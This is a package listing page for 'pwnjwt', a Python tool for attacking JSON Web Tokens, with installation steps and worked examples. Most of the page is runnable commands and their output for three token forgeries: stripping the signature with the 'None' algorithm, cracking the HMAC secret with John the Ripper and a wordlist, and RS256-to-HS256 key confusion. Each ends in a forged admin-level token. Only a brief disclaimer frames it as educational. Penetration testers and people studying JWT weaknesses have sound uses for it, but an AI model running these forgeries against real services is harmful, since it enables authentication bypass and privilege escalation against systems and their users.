A tool to manipulate and exploit JWT tokens
Project description
pwnjwt
JWT pwn Python module
This small module allows you to create JWToken instances. This object will store informations about the token such as if it's signed and with witch algorithm. But if you have JohnTheRipper installed on your path and (optionally) a wordlist you could try to break the secret key of the token. Then you'll be able to forge a new valid token, signed with the cracked key.
Disclamer
This module is for security checking and educational purposes. Don't use it for anything illegal. You are the only responsible of your acts.
Installation
pip install pwnjwt
or
git clone https://github.com/chalios/pwnjwt.git
cd pwnjwt
pip install -e .
It is recommanded to create a virtual environment with python3 -m venv path/to/myenvironment.
Usage
You can use it by 2 ways:
- Standalone :
pwnjwt -b -w /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE - As a module in Python:
from pwnjwt import JWToken
token = JWToken('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE')
# OR if you know the key
token = JWToken('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE', key='Sn1f')
token.encoded == 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE'
token.header == {'typ':'JWT', 'alg':'HS256'}
token.signed == True
token.algo == 'HS256'
token.key == '' # OR 'Sn1f'
token.payload == {'role': 'guest'}
# Will bruteforce and update the token.key
token.bruteforce(wordlist='../rockyou.txt')
# If you got the key (token.key):
new_token = token.forge({'role':'admin'})
Standalone Examples
The 3 main ways to hack JWT are:
- Remove signature and set algorithm to None
- Bruteforce the key (as it can be done offline)
- If encoded in RS256 (asymetric Private/Public keys) -> switch to HS256 with public key as key.
Case 1 - Unsign
./pwnjwt.py -f '{"username":"admin"}' -a None \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.\
cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Output:
Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key :
[+] New Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
Case 2 - Crack the key
./pwnjwt.py -b -w /usr/share/wordlists/rockyou.txt \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.\
cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Output :
[*] Starting Bruteforce with John using /usr/share/wordlists/rockyou.txt.
[+] Key found: Sn1f
Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key : Sn1f
Or if key wasn't found :
[*] Starting Bruteforce with John using /usr/share/wordlists/rockyou.txt.
[-] Key not found.
Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key :
Case 3 - Switching RSA256 - HMAC-SHA256
./pwnjwt.py -f '{"username":"administrator_root_superGOD"}' -a HS256 \
-k public.pem \
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.\
eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9.\
QxrGZtmKXEzoLLdnUm1AZDyNZttM4GFeJcC3E66uQWF4vp2hAbHc2j1uzesS7Mha9i2EEtb\
8PnPw6UHSiIp965kuHhKM6O3m-2S36lKiTE-qGGW66Run3g4y1BuhUGZuxsnn2B3YlznHcF\
P1WR3DbybQDf7N7OmtLLZMWsRD0A-fzj_RiPjv_EzFVtCBPJMApvF7JxXosd4nlpVa8pxYR\
hPU0fjLGGYB2zxokarZLWCpcdGde_5Rs76gnerEvcptXp5zTxWF0hF6JNqrAng7JdtS_uo5\
CYjQ0DSHXATdqNd-mZdGHeYUwQe1JgTJ7oLal4GNhspwaQCIa5R9KFx8rw
Output:
Token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9.QxrGZtmKXEzoLLdnUm1AZDyNZttM4GFeJcC3E66uQWF4vp2hAbHc2j1uzesS7Mha9i2EEtb8PnPw6UHSiIp965kuHhKM6O3m-2S36lKiTE-qGGW66Run3g4y1BuhUGZuxsnn2B3YlznHcFP1WR3DbybQDf7N7OmtLLZMWsRD0A-fzj_RiPjv_EzFVtCBPJMApvF7JxXosd4nlpVa8pxYRhPU0fjLGGYB2zxokarZLWCpcdGde_5Rs76gnerEvcptXp5zTxWF0hF6JNqrAng7JdtS_uo5CYjQ0DSHXATdqNd-mZdGHeYUwQe1JgTJ7oLal4GNhspwaQCIa5R9KFx8rw
Header : {'typ': 'JWT', 'alg': 'RS256'} (eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9)
Payload : {'username': 'GodMaster'} (eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9)
Algorithm : RS256
Key : -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3KthdfLESvFKn9LqBfvT
RlakP02YGC7QJ4ywfFiOcWjrXvKKjUkPd3J+A/7/MjgbgGZaroJgDZn5WsDg40dx
a3DiVUQU7VGDBh1eKbslfabopCHtQWZ6zLyR38OMqlZjanzv2eEJCMmMxTzykTXm
GAZNIdHC8FuuXe6cdVGyfjRNqAfOUUzeFo7GCTWORXMf1/l1ouzJBO5SVj1YluMZ
Rwys1ysHZZDn/NAYY/vaubSq7jYEYbwRdfD3tJpnISHHUKH6YCbYjDApisaSiFV/
Q/JbE4OJS5NErZ5z6froyBbi+F1s85hfwB5UJPDvKlVVJpO30WPAl3pl/ddeGjtl
eQIDAQAB
-----END PUBLIC KEY-----
[+] New Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
And to check the new token:
./pwnjwt.py -k public.pem eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
Token : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
Header : {'typ': 'JWT', 'alg': 'HS256'} (eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9)
Payload : {'username': 'administrator_root_superGOD'} (eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9)
Algorithm : HS256
Key : -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3KthdfLESvFKn9LqBfvT
RlakP02YGC7QJ4ywfFiOcWjrXvKKjUkPd3J+A/7/MjgbgGZaroJgDZn5WsDg40dx
a3DiVUQU7VGDBh1eKbslfabopCHtQWZ6zLyR38OMqlZjanzv2eEJCMmMxTzykTXm
GAZNIdHC8FuuXe6cdVGyfjRNqAfOUUzeFo7GCTWORXMf1/l1ouzJBO5SVj1YluMZ
Rwys1ysHZZDn/NAYY/vaubSq7jYEYbwRdfD3tJpnISHHUKH6YCbYjDApisaSiFV/
Q/JbE4OJS5NErZ5z6froyBbi+F1s85hfwB5UJPDvKlVVJpO30WPAl3pl/ddeGjtl
eQIDAQAB
-----END PUBLIC KEY-----
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file pwnjwt-0.1.0.tar.gz.
File metadata
- Download URL: pwnjwt-0.1.0.tar.gz
- Upload date:
- Size: 18.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
4bb79d5da8f52e0fdbf22296764d9c3ecc4d1dd582d8819e06641b7ff2206f46
|
|
| MD5 |
8090f657b3f26774078bf3c340efcf6f
|
|
| BLAKE2b-256 |
7d7bb46c6e314e81c1b956850a0ef1f1b38c1c3ee779d9043be130e1a995aac5
|
File details
Details for the file pwnjwt-0.1.0-py3-none-any.whl.
File metadata
- Download URL: pwnjwt-0.1.0-py3-none-any.whl
- Upload date:
- Size: 18.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
1e1af43c7a79ebe6bf2a48ca9a68ac025e5c6493f31bef036faf9f232aac3e68
|
|
| MD5 |
6be1c0d908dcaa626cfd80e5bb8079ed
|
|
| BLAKE2b-256 |
3e4dca79767d4f3f65c50fa0591663add66e545027c184bc813ef972d2f915c9
|